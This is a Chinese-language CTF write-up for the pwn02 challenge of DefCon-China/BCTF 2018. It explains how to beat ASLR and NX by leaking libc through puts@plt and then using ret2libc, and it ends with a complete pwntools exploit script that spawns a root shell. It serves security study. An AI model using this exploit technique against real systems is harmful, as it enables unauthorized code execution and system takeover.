ASLR(地址随机化)
是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射
等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位
攻击代码位置,达到阻止溢出攻击
的目的。
但是,地址随机化不是
对所有模块和内存区都进行随机化!虽然libc、栈、堆的加载位置被随机化,但主镜像不会
一,测试程序-2018 DefCon-China & BCTF攻防赛pwn02题第3点
程序:https://pan.baidu.com/s/1msX6qw9K0tR-CMT6K9oR_w 密码:2csu
1.查看下保护机制
看可以看到,pwn02
即开启了ASLR(地址随机化)
又开启了NX(栈不可执行)
2.查看libc的加载地址是否会改变
在之前的实验中,我们使用ldd
命令查看关闭了ASLR
保护基址的程序的libc
加载地址,这次同样使用该命令查看pwn02
的libc
文件的加载地址
我们将它运行三次,可以发现,每一此它的加载位置都是不同的
,也就是说,我们不在可以通过简单的ldd
命令将libc
的加载地址给获取
3.运行程序
当看到
input your id
时,我们就可以有些想法了,啊 !是不是栈溢出啊?输入一长串字符测试下,果然报错 Segmentation fault
4.IDA打开,观察漏洞点
发现程序崩溃语句===>没有控制字符串拷贝的大小
二,利用思路
首先绕过ASLR(地址随机化)
,泄露出libc
的基址libc_base
,然后利用Ret2libc或构造ROP链绕过NX
,但是要注意的是,这两步要在一次运行完成
,不然因为地址随机化的缘故,在下一次运行时libc
基址又将改变。
也就是说,这个溢出漏洞在一次运行中
要利用两次
,第一次泄露libc
基址,第二次利用泄露出来的libc
基址获得shell
完成libc基址泄露,并使漏洞可以利用两次
常用思路:首先通过溢出返回至PLT
表中,调用具有输出功能的函数(常用puts/write/printf)
将GOT
表中的真实libc
函数地址打印出来,从而分析libc
基地址。然后返回至漏洞函数二次触发溢出,此时便采取正常利用思路获得shell
。
简单说就是:
1.获得程序调用的一个
libc
函数的在程序里的真实地址---------func_true_addr
2.获得这个函数在libc
文件里的偏移地址---------------------------func_offset_addr
3.通过相减得到libc
在程序里的加载地址----------------------libc_base = func_true_addr - func_offset_addr
__libc_start_main
是libc
中的一个函数,在程序进入main
的初始化工作中会被调用,为了获得它的真实地址,并可以二次利用漏洞,我们可以布局为:
布局原理:
布局完成后,返回地址return_addr
被覆盖为puts@plt地址
,当运行到原返回地址位置
时,会跳转到puts
中执行,同时,esp指向esp+4
,这时对puts
来说,它内部的ret(返回地址)
执行时esp
指针还是指向esp+4
的,也就是esp + 4(main)
就是puts
函数的返回地址,而esp+8(__libc_start_main@got.plt)
则是它的参数。
流程
:当调用puts
时,__lic_start_main
作为参数传入,这样我们就可以获得__libc_start_main
在程序中的加载地址,当puts
返回时会回到main
函数当中,从而实现堆漏洞的二次利用。
$1,IDA查找pwn02中puts@plt
得到0x08048868
$2,IDA查找pwn02中main
得到0x080496D1
$2,IDA查找pwn02中__libc_start_main
得到0x0804BFD8
得到这些我们第一利用就可以得到libc
基址libc_base
,第二次只要绕过NX
就可以了
在这我使用的是Ret2libc
,可以参考我的另一篇文章:https://www.jianshu.com/p/c90530c910b0,我就不再赘述。
三,代码
利用这些我们写一个脚本-文件名
: exp.py
from pwn import *
r = process('./pwn02')
def overflow(data):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('):')
r.sendline('+')
r.recvuntil('):')
r.sendline('1 2')
r.recvuntil('input your id')
r.sendline(data)
buf = 'A' * 44
buf += p32(0x08048868) #puts
buf += p32(0x080496D1) #main
buf += p32(0x0804BFD8) #__libc_start_main
overflow(buf)
r.recvuntil('...\n') #泄露libc基址 libc_base
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value)
libc_base =leak_value - 0x000198B0
system_addr = libc_base + 0x0003D7E0 #计算system()
sh_addr = libc_base + 0x0017c968 #计算`/bin/sh`
buf = 'A' * 44 #ret2libc
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf)
r.interactive()
四,测试
输入whoami
,返回当前用户为root
,输入ls
,返回当前目录下的文件,均未报错,得到可产生交互的shell,实验完成!